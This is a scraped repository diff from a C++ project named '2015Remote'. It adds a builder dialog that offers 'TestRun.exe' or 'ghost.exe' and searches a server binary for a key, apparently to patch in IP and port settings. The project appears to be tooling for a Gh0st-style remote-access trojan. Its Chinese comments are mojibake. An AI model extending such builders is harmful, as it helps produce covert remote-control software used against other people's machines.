MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||||
|
return CDialog::OnOK();
|
||||||
|
}
|
||||||
File.Write(szBuffer,dwFileSize);
|
File.Write(szBuffer,dwFileSize);
|
||||||
File.Close();
|
File.Close();
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
@@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
|
|||||||
for (i = 0; i < iBufferSize; ++i)
|
for (i = 0; i < iBufferSize; ++i)
|
||||||
{
|
{
|
||||||
for (j = 0; j < iKeySize; j ++)
|
for (j = 0; j < iKeySize; j ++)
|
||||||
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
if (szBuffer[i+j] != Key[j]) break;
|
||||||
if (j == iKeySize) return i;
|
if (j == iKeySize) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CBuildDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||||
|
m_ComboExe.InsertString(0, "TestRun.exe");
|
||||||
|
m_ComboExe.InsertString(1, "ghost.exe");
|
||||||
|
m_ComboExe.SetCurSel(0);
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|||||||
@@ -22,4 +22,6 @@ public:
|
|||||||
CString m_strIP;
|
CString m_strIP;
|
||||||
CString m_strPort;
|
CString m_strPort;
|
||||||
afx_msg void OnBnClickedOk();
|
afx_msg void OnBnClickedOk();
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
CComboBox m_ComboExe;
|
||||||
};
|
};
|
||||||
|
|||||||
BIN
server/2015Remote/res/delete.bmp
Normal file
BIN
server/2015Remote/res/delete.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/update.bmp
Normal file
BIN
server/2015Remote/res/update.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 774 B |
Binary file not shown.
Reference in New Issue
Block a user